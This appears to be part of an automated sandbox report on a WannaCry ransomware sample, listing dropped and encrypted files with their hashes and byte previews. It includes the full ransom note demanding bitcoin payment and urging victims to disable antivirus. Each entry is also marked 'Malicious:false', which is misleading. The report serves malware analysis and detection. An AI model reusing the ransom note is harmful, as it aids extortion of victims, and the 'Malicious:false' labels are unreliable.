                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.829204434113971
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkccEG71yop4/Ul3kSi8xlx594uOUENhkstF+4bvAF2siYZyYhe6uWm+ZlPAIWoG:bk2RQFl3kMxlvuTUEZNoPG6Sowr4J8JJ
                                                                                                                                                                              MD5:64D10D2F4A2DD2269F81B857D6BC4219
                                                                                                                                                                              SHA1:F64BECCDDE74D4534AFAD9D287D7909ED42D04DF
                                                                                                                                                                              SHA-256:F15BF128F6D57BAB720620A1DF8295235C91698FBD799E49B9994727DD80F982
                                                                                                                                                                              SHA-512:4196AE9511DF812E5E8C9369054620E715F0BAA5F3F14E018570F01415E2A4F0CCFACDFFC3B78C9BEE13DF5162AD01629E208896CA7D770FBFD3A982237AF4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........*...J..n....)...EQ+v8.^.Z..E..=fg.u.h....+..g%L..Ub.......Q.HLU 7.i......wV,..fU.>o.Q!8\.Z....A......[.QP....rn.O.......n,....cW.96^K...?....X%. [.e.p...E.f...x..9.U..f..c..^o..x.QR...v...`....$.........../.y,....|@...T./..R.n.........gj............z.F....x.J..h8..4.G..d9G1..........(}Q.....dD...)..+......O..U<..VI.=...LG.vvQf't.,.&.Ppm..........^...1...i..:..9......9<.W...4.P4.8/...k.<..^./?L.d.....z3.........Q.+.......C....j...(?.DA...b.giY..T\h...kt u..J@....'..J.......L..r.......$.E3...(l.RG....y) Y.w....G.iC....S.<!..v.4......X?%.'..A...=...i.r`LV.M&/k^....${.|,...<T..2.....U..*...W.X..?..(.\.B[:.....q...*....T...<.......5^....Vm..s..|....P<.....}B)[...G1.O......f...7%U[R..~..6(08l..%..........W.^..3..~(F).Z2.*.?kc.Z9.'/.....U..}n.T..%....gL.Ll..F!r..@.r..8W....../.]dZ..B........i.j..1Q.1#Y.8.v.d."e..9g.X..+.)..?..t.i-..&.r....7. ..B..Gx.._.o?.#h..h5z.....NO.T..F...;.R.\...%.......@.e.....@....+.q.34..}Y..`R....N.R...Y.<g.M

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT.pdf

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.807358026279831
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:Y/WAY7+knGOrGWwt9KeNdCqMjLdtkIax4UlR3cqW2osAGuQZ5DZ:+7OqWiKLDLdGRRsqT0WZ7
                                                                                                                                                                              MD5:A128F80E423D23BCC8D7FF9C40FBA48B
                                                                                                                                                                              SHA1:4400CAA2B48D0D0A43A424C9DC0720040BCA616E
                                                                                                                                                                              SHA-256:30B9EF87A0C5A82B4A277AF2B4803E02F21A553A47B8A758AB1B0CF41C92626B
                                                                                                                                                                              SHA-512:9F46607DDE6BC7E7244378D95C6C4B53429291155C92119554686BC010C1F96BE06018AD69A77E648E4013C653A2C9A628C2FB0712C2130631D8E2758AB6652B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.;x>KM.aI...(.w.EiQ8&..{...t.1^V.e/.e"..-|6....<5.....~.....(...w.$a}J..../.N ...A.$..^.........D..I.....H......{.s.*.X^....m4......(....3`;..H..en.Z9..,~.\>.._.[`.X%........7s.<6......%;oq...g]....\.d..3.}..2(h./...3..C.2<.............Yj.O...o:...x......J.~p.[a......}s..../Zk.d........>c.}#..........~....e...k&..o......)+.B.....+"..m..9.}.GP..&1./.6xfy=g".....|...;.J).\.3....fw....M.:...J.q./........)7...*b&.0.......rG.@.1$...[k.zw0...GWZ...H0..E....YVE....y?. 5.Vg1v....~..|.g...I]...h.{~.Y.]p."..\zB....?DCa......*..8.n..........YH..K...v....T.W..._Ad.vJ..}..^A).$..zR.&.....[.SH..Q3;(.<..eS._.Y.=.v]...j...._VcSCN...S.iI...........n.1mC.2..>........j#...2.yIv....J4./....j.r;"^..[....T...i..U.!H...&.U..ZT..T.D.5v(W.. ]j....^.;z....6....H...K.in...1..<L......M.k....'#...J...)..Z..{...-\.P..\AEs.g.;..C..xa..".....uj}3f..U3z]?..}.s.=W.......IU.~....<9.aOX>....S.2.^:....p.;@.V..apt..q..uF..Ds 6H....;.&...?....y.8v.x..>...o3.K.I..0.Sp|..

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT.pdf.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.84523310533457
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkCW5Vws2lF7ic6suKPQ5en0z1vqNyqeU2bMYnKYOFS1I9OGyhlkUeh:bkCkwlnxuKI31vqNyYYkFdObhlkB
                                                                                                                                                                              MD5:0638957F566FD818A306641874BC0F9E
                                                                                                                                                                              SHA1:D04B0F270785CA5195809E8F113B83E493585F60
                                                                                                                                                                              SHA-256:1AAFE72F7B4E8CA588C0FCE2B42B2F58BE5FD2C3616E7A8B5E67BA3770D6154C
                                                                                                                                                                              SHA-512:25C146981BA620E5907C3715C8E2B9AFDC0A8C4BA42D131430FF55B0F45526F64801A4AFD2F1D9EB859C368930105A105DDF2466474D29D0E21DB3547E46E393
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....J...c.F..Nj5<.c.#e....vE&!Yc6z^..i..~...ce(.. .....n].....bq.U.0R.....Rx.H.M+L.n..(o.>eX....;.....Q ......r..,.yv...A.6V....H..=..WT...._..=......{..p.l.g..h......."..G..a....jl...8.._A J..l.p?H.{O.`.D...../4..i.3.:...tm..j......_.4...8.7..A.9............D..?)O.a|..E uL.....3.F........"eY..Fu..9...gJ3.C....{V~.....M.m.3P.q.tjy.h3...E...s.y.+j.G.6.....u3H.>#j}..F...,.V.m..#:h..5S....\m../.0n._...,.'.l...Ne..;sc..*..)....`HA...jH.......R..(?6HQ.o.ui'.....roJ..e.F@.9...fO..\...3... 1D.............Ja.cc%...P...&K4.......l.....Q;}\..E.q..5.....r...3.C.go.#..q....B..m!>..F.}Zk.=..../..E..[...`........<p...W.....YqcP......?..="_yp....).K..3 . ..Rtt.j.y...........i.....p.....(1.4s....'..Es`.y...`.8..&.....:.-.b..k.I..[&&#...0....a.3.z...![..P....a..g.%.@..{.....J*!j.n..Y.G..8..>........O|.....Dx4.k].C..|..`%].~+.C~.......7.w..ZR.P..?.7c.eA1r....a.>.U.x...w!.....Q...I...K2....Kt..?.........K.M.r[......r...>."n..3IK&8...]..D._Wd...W..

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT.pdf.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.84523310533457
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkCW5Vws2lF7ic6suKPQ5en0z1vqNyqeU2bMYnKYOFS1I9OGyhlkUeh:bkCkwlnxuKI31vqNyYYkFdObhlkB
                                                                                                                                                                              MD5:0638957F566FD818A306641874BC0F9E
                                                                                                                                                                              SHA1:D04B0F270785CA5195809E8F113B83E493585F60
                                                                                                                                                                              SHA-256:1AAFE72F7B4E8CA588C0FCE2B42B2F58BE5FD2C3616E7A8B5E67BA3770D6154C
                                                                                                                                                                              SHA-512:25C146981BA620E5907C3715C8E2B9AFDC0A8C4BA42D131430FF55B0F45526F64801A4AFD2F1D9EB859C368930105A105DDF2466474D29D0E21DB3547E46E393
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....J...c.F..Nj5<.c.#e....vE&!Yc6z^..i..~...ce(.. .....n].....bq.U.0R.....Rx.H.M+L.n..(o.>eX....;.....Q ......r..,.yv...A.6V....H..=..WT...._..=......{..p.l.g..h......."..G..a....jl...8.._A J..l.p?H.{O.`.D...../4..i.3.:...tm..j......_.4...8.7..A.9............D..?)O.a|..E uL.....3.F........"eY..Fu..9...gJ3.C....{V~.....M.m.3P.q.tjy.h3...E...s.y.+j.G.6.....u3H.>#j}..F...,.V.m..#:h..5S....\m../.0n._...,.'.l...Ne..;sc..*..)....`HA...jH.......R..(?6HQ.o.ui'.....roJ..e.F@.9...fO..\...3... 1D.............Ja.cc%...P...&K4.......l.....Q;}\..E.q..5.....r...3.C.go.#..q....B..m!>..F.}Zk.=..../..E..[...`........<p...W.....YqcP......?..="_yp....).K..3 . ..Rtt.j.y...........i.....p.....(1.4s....'..Es`.y...`.8..&.....:.-.b..k.I..[&&#...0....a.3.z...![..P....a..g.%.@..{.....J*!j.n..Y.G..8..>........O|.....Dx4.k].C..|..`%].~+.C~.......7.w..ZR.P..?.7c.eA1r....a.>.U.x...w!.....Q...I...K2....Kt..?.........K.M.r[......r...>."n..3IK&8...]..D._Wd...W..

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT\@WanaDecryptor@.exe.lnk

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 21 12:19:29 2024, mtime=Wed Aug 21 12:19:29 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):575
                                                                                                                                                                              Entropy (8bit):5.1514333141017135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:4xtQl3r23CpzeVs+bTcJHUtxXCz8lFUod6tMljAlp4hlIGoJ4D6Vod6Nu3/Wmc8E:8I2ypzYNblthRUobjAyhkotcsBmV
                                                                                                                                                                              MD5:40D3E8A910C0565F268932057F54E386
                                                                                                                                                                              SHA1:EBBE944DDE299B9B357FBEF6BDD20F7176B3C0BA
                                                                                                                                                                              SHA-256:90E66004446E10C5D31A8955509805E176408F47C3AC5B8DF5388A496CEB8B9A
                                                                                                                                                                              SHA-512:60C404E8260EDE86CE2AA3EA668386A172535C0A7009993DF3AA71A5E72114A1067ACDDD0C51B5506CA58290E5B8ABA39BD0902FDA471A34F6EB31BFB31C888A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:L..................F.... ....+.......y.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4.....................t.2......J.2 .@WANAD~1.EXE..X.......Yoj.Yoj..............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W....................C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......284992...........hT..CrF.f4... ..............%..hT..CrF.f4... ..............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT\BJZFPPWAPT.docx

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.807569268993988
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:NirFkZd26UnJNML3Q0fT89zFye8lLXoM4lCz4aDCjoOHjxxa:NiJQd2vN8AfC9XR45xxa
                                                                                                                                                                              MD5:FDF500C1A16877D1D4F973B1CA0CF152
                                                                                                                                                                              SHA1:919926AC5E2EB6848449752E5F6D9295F1559C51
                                                                                                                                                                              SHA-256:324A9117DFABACE785F90E62934E5C794803BD95954FF0B7ABA3D5A584D8E702
                                                                                                                                                                              SHA-512:A2ACF858AC2A0CAB3BAEFA7F36260290C1C9D5ECA29AC74AAC44C1E00E8FB118593B004829EAF5404F284A81E09700FA9A31000FAA74E8FC1EBDBE7094144DC3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.f"..0K.6~.!.|..'.d.....'..{.W.y...&..;.a#.9.HO\,;r......F[...c...O...4.s=..v.|B..CC.ug.+.3.....u..Lh0g{......C..@B...#..f1P..\.+.....:..2`....(,o...ZT7...;FZ~.......6...'.=.5.f.....E=Y..?.?J.....I..J........$a..vF`.1.g..r.{X.@.....*.4?......r...f..B...FM!...,#.+.(.|y8.....).=.....8.V8~.<..#{...B.A.@k"o1.V.7w..)..K++UrR.F.]...w.l.2M!.......X..|.#C.)?\..._A&..KT.,5....?.....U+..A.....v&G*.p.9\Nz.~o.3.....G..F.......O....U|.....v+...?.".....L.....x.@Y.?KO.i..~.].6..T.2P.....Q...G'.?.e.w..DiU.|T.....[G.!..#......`./.50v<.N$.bg\..\....-...D.=....uj..u<..!.Qr[.;...k.A....3..d.w....F+....'...&..)...B3...~v.1m..{!...0 km&B=..B=..#...:'.s...c.....$..M^|...#....=...Y&H{....-e#:....S|{..=D.d).d.PC........hbT.....n.....R ..Zia.En.6t#..1......X.;........*....A....A.m.%..._..Y.C..-/.............N....;i....;|..vgM0...+.Uy(...4.P...g.Q.y..M.J..(o.....KVC.YD.Q...P(:...S<.>_...,.D...E...D...m..+./{....J_..._?.0..0...B....".H.*..[......:F<...t

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT\BJZFPPWAPT.docx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.845217059050688
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkFtRlmN+niCaeqwMgRGTCxmGhKRp2gix7oWSFHYmfljdHW/DpUas8AEn:bkFTlmoiCP32VnixQCmfljd2tq8Jn
                                                                                                                                                                              MD5:E77C395D35CCB630C7763DD2A76E4769
                                                                                                                                                                              SHA1:5364016F10E9992902DC8A1A7F95C1AFC1D7F19F
                                                                                                                                                                              SHA-256:A89BD7633E5B89F1A2AF60DBAEA4EE683DA7699926123173ACC09D0B86D2E3FA
                                                                                                                                                                              SHA-512:8E93BBFC474534AB5FBE97AC65DEFC2FE0A5E5E2B4E0823F0088E50725927D0C0A2E5D8574EB45A06B9EA89D469FAC82158EA6E2E4B6A838D9359A6232C8ECA7
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!..../...Z.q}..<~W..CA{..\..u...4.0........M..O.|"..A..6...:K#;......p..5._.!V\...!.......'.>B(....m..{..u..YOt..8.?f+.....P......<=0J(....z.g.si|.o.3.>..|&..f.X....t0....B.Y=9s(...Z4.uh.../..N=..Q..*.X..B.\E...x.../.{..L..... ...dz.1.^.;...=.]..............O.zP.Sly...~...)B..w..@.Ib.Ipy9.QMJ?~..V*..O..m.#....$.l1".g.gp.] />w.w.J.......#W.s_c,.+.xR....}.`.....:zM.I&f........M....Qs.W..n..ZJ.jO>R.DL..@W#.....4...B.I+...a......W....-|.5@c.d.n..*..Y.U#c7.]........p....eE....u.Hy.v$.,e..9V.J.*....\.E..9.....j.}.o..i.!n...{i.....VG.....H..a.a.....;.m7..'...y....'.WH.Ug......eGf. /._.._,.-._x...4!..0..m.....`.@..*66:m.M.7.H}?9...W.F.R!Y.1..*.n.L#.3.........n.,..p[........0..pL..pn.o...d.?+...yo..F.2.VwHI....#'.\].+...nI......_.4g....x.?.z....JP...%>t.....7,y_..;.G[Z......nzftH?..>.x......$.._.|)8.c.is....=..U.qX[39J.?v.....K..~)._..t.../....V...L.O8}a.0[.E...)N......]..>..a-....=.]9.?...ZK...z..IP..\..;..T;cgM.Q'u....^.... .i?.A&1...R

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT\BJZFPPWAPT.docx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.845217059050688
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkFtRlmN+niCaeqwMgRGTCxmGhKRp2gix7oWSFHYmfljdHW/DpUas8AEn:bkFTlmoiCP32VnixQCmfljd2tq8Jn
                                                                                                                                                                              MD5:E77C395D35CCB630C7763DD2A76E4769
                                                                                                                                                                              SHA1:5364016F10E9992902DC8A1A7F95C1AFC1D7F19F
                                                                                                                                                                              SHA-256:A89BD7633E5B89F1A2AF60DBAEA4EE683DA7699926123173ACC09D0B86D2E3FA
                                                                                                                                                                              SHA-512:8E93BBFC474534AB5FBE97AC65DEFC2FE0A5E5E2B4E0823F0088E50725927D0C0A2E5D8574EB45A06B9EA89D469FAC82158EA6E2E4B6A838D9359A6232C8ECA7
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!..../...Z.q}..<~W..CA{..\..u...4.0........M..O.|"..A..6...:K#;......p..5._.!V\...!.......'.>B(....m..{..u..YOt..8.?f+.....P......<=0J(....z.g.si|.o.3.>..|&..f.X....t0....B.Y=9s(...Z4.uh.../..N=..Q..*.X..B.\E...x.../.{..L..... ...dz.1.^.;...=.]..............O.zP.Sly...~...)B..w..@.Ib.Ipy9.QMJ?~..V*..O..m.#....$.l1".g.gp.] />w.w.J.......#W.s_c,.+.xR....}.`.....:zM.I&f........M....Qs.W..n..ZJ.jO>R.DL..@W#.....4...B.I+...a......W....-|.5@c.d.n..*..Y.U#c7.]........p....eE....u.Hy.v$.,e..9V.J.*....\.E..9.....j.}.o..i.!n...{i.....VG.....H..a.a.....;.m7..'...y....'.WH.Ug......eGf. /._.._,.-._x...4!..0..m.....`.@..*66:m.M.7.H}?9...W.F.R!Y.1..*.n.L#.3.........n.,..p[........0..pL..pn.o...d.?+...yo..F.2.VwHI....#'.\].+...nI......_.4g....x.?.z....JP...%>t.....7,y_..;.G[Z......nzftH?..>.x......$.._.|)8.c.is....=..U.qX[39J.?v.....K..~)._..t.../....V...L.O8}a.0[.E...)N......]..>..a-....=.]9.?...ZK...z..IP..\..;..T;cgM.Q'u....^.... .i?.A&1...R

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT\CZQKSDDMWR.mp3

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.824330595833148
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:rB77ASrpu7TdSPe1lZRG1gUsC2+pXe1mUihLhr/TJzY:r17ASg7MPElDGLb2+loin/dzY
                                                                                                                                                                              MD5:C84B4FE639CC75F776D8F2880B29C1A7
                                                                                                                                                                              SHA1:8E04942B8987DD8297DADFE9918EE0E22E80F327
                                                                                                                                                                              SHA-256:1D172690910845DBF424DB75E96B8B748BA2778C0519496F4411787AED58EBF1
                                                                                                                                                                              SHA-512:007E012B709644271F28559725ABFC4F608E134A08FE42F9C69E323E6B922C2623DD701AF2EE585EAD673423D59336009B1DC4B41223B9B6074BEB2DBC280D75
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:*.........p...ZZ^%....f.vG..&c&.....J..n...H.$(r..'.....?4.....)%.<.U.3....I./.\.....:.#5.....Z.u.....z.|.?>..1Z....a.D.-........~....P\...Z...1...........;..."..J.{.!....h...sn.:.e.!.!.4.ypnL..\.<=..M<_N.}.m..E.=..n1.auV~..uL&..........HF...."... J2.....J..x......(..$x #O.....o?.....o:....v,Z....._..x..T.^...9nC.DG..[..Fr....0..*..I...PK..v.... ..Ww.Y..'...".B...%PD..#....+..........#.%A^..`.j........ts......NH.>*.w..[.b..O...B......Wj...@O..L.\."..?.[.J..0.;.|*.........o.[}_.o#...b]B...]..M..... w.1.H..].-.[....nq..b....U...?v.......t..2..Wm....G...4.Pr8O.1=7.......RWl...U^.<S...>...m..tyr...P....Va..}..-..4J..W...g..~.z.....CdL..u_.w...fee|.+`M#M.&=.....F(:.nS... ...mi..w.N./.wF.....0Sw./...5.9./\...0Z....NA9%X...;.~OwUL...$.i...N.....cF&....c.UA._...t.9....d.Z..&K....^$..]....6 ..[W.#..b.....?.N....q.j..{...h?3..sy.....}..1.!..|.....p....6.=.>..u....?cC.c........W..'...1.p...K...j..]....T...J.j].s./..g..^.2-.....iF....g9.Mc..\-

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT\CZQKSDDMWR.mp3.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.84091804720963
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkm2gu2Nyzkvr3E2cRi0NFk1yJyB1E6GqUb579mUzlgDwHtG8vrlo:bkm2g6yTqFkMJcu9VcJ8tGSrlo
                                                                                                                                                                              MD5:3356733DB237C08A4CF412BC7653C91C
                                                                                                                                                                              SHA1:0F72C1529567FBA208432895A1BA713579BEEA3B
                                                                                                                                                                              SHA-256:3CC8A6C73D468CE3C7DB6303A4AFCC9931BBF97E9DEECC6AE514BA36C5501C23
                                                                                                                                                                              SHA-512:075EBD60AAB5E969199562A978DC652275FD56B2B39BEFB18585E0A94CFF9CDC032BABC606A6BAAFED81D9B23A82F710A5EB02A49C637ED1F704E911E9DC210C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........j.b.X.bE.s.I.e.=Fo.Z.1Y.P...P...........h...M#&..L.Q_:...R-v:@....O..E.C.W.....6.^.+..Eg..@I.5..`U.V..T.5.w..EM.C.......DN.....G..t.5;...t..P=...a....8.SH..:W...1..'......1 !...$.BGg.&...S.:....b...#..5.(..R.....MW.J.5.t..kflO......f......9.<.xc............l.X..<.dE..v........2NI...!|.hh.P$..t.....F..].w....:.....j./.0.[m.....\...W....Mj.K}.y.....%....m.!.....Tx...h..*...p..T.36.9..Wc....-...d.R...<.3$8..8.Od..d..I.....)!m.[....}.Np.W._._.T^.9....p.O#.:].......X.-[{.?..C.O....9eY..?..^.2.,]..h../..D.*}...@0...L.g.j7DZE...-..2... +.)..E.....m..a.0.'xP......9D..=p.....5...]S...^....X.n5....S.KA...A..I.0V....r..SP.NN.\U..%..7.pW.>..G...5.+r`@.....K....:*..M....!&..{..I5j.N.|g..._c..............P%..%..y..<._V<&..u.B.9W.l..R.$na.8Vn$.|~i=.,....H.N.E.O>.h..J...l......}...........$_U...8-....R..e......o.......<+..\|:.{..7...7.S;"..r.[.....A.Q.&&D.K.u.a..s..F..g......K.z..y.a...Z.+j...?..._...H/+.;(......G3.....YFl..2..Z.....g..h.../.}.

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT\CZQKSDDMWR.mp3.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.84091804720963
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkm2gu2Nyzkvr3E2cRi0NFk1yJyB1E6GqUb579mUzlgDwHtG8vrlo:bkm2g6yTqFkMJcu9VcJ8tGSrlo
                                                                                                                                                                              MD5:3356733DB237C08A4CF412BC7653C91C
                                                                                                                                                                              SHA1:0F72C1529567FBA208432895A1BA713579BEEA3B
                                                                                                                                                                              SHA-256:3CC8A6C73D468CE3C7DB6303A4AFCC9931BBF97E9DEECC6AE514BA36C5501C23
                                                                                                                                                                              SHA-512:075EBD60AAB5E969199562A978DC652275FD56B2B39BEFB18585E0A94CFF9CDC032BABC606A6BAAFED81D9B23A82F710A5EB02A49C637ED1F704E911E9DC210C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........j.b.X.bE.s.I.e.=Fo.Z.1Y.P...P...........h...M#&..L.Q_:...R-v:@....O..E.C.W.....6.^.+..Eg..@I.5..`U.V..T.5.w..EM.C.......DN.....G..t.5;...t..P=...a....8.SH..:W...1..'......1 !...$.BGg.&...S.:....b...#..5.(..R.....MW.J.5.t..kflO......f......9.<.xc............l.X..<.dE..v........2NI...!|.hh.P$..t.....F..].w....:.....j./.0.[m.....\...W....Mj.K}.y.....%....m.!.....Tx...h..*...p..T.36.9..Wc....-...d.R...<.3$8..8.Od..d..I.....)!m.[....}.Np.W._._.T^.9....p.O#.:].......X.-[{.?..C.O....9eY..?..^.2.,]..h../..D.*}...@0...L.g.j7DZE...-..2... +.)..E.....m..a.0.'xP......9D..=p.....5...]S...^....X.n5....S.KA...A..I.0V....r..SP.NN.\U..%..7.pW.>..G...5.+r`@.....K....:*..M....!&..{..I5j.N.|g..._c..............P%..%..y..<._V<&..u.B.9W.l..R.$na.8Vn$.|~i=.,....H.N.E.O>.h..J...l......}...........$_U...8-....R..e......o.......<+..\|:.{..7...7.S;"..r.[.....A.Q.&&D.K.u.a..s..F..g......K.z..y.a...Z.+j...?..._...H/+.;(......G3.....YFl..2..Z.....g..h.../.}.

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT\EOWRVPQCCS.xlsx

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.802656125440578
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:857jIIDlitZDFOFDdbiO/gHBBgviNQIehPDI7H1tlENFsljDjapeq0TH4C/aZ5sA:EfI/ZDFOFBbl4HsD6OFaZLTHBS5NLNl
                                                                                                                                                                              MD5:9359F2A34D8898E3ECD12950392091AE
                                                                                                                                                                              SHA1:2B51A6AB508DA5F8C0EAD053C062740A44603802
                                                                                                                                                                              SHA-256:7A97A599A064542AE8489AE42041FC53F836563072E09F57EF41D7656B97009A
                                                                                                                                                                              SHA-512:6C8BDE07C845EABEC4AECD2C81FA459019EF9606E649D7CEF6713F46C64763478485A6D9EEB8DF89A2F1857E6B0F8272525ED5EDD436A01263646ECEB38D3E0C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
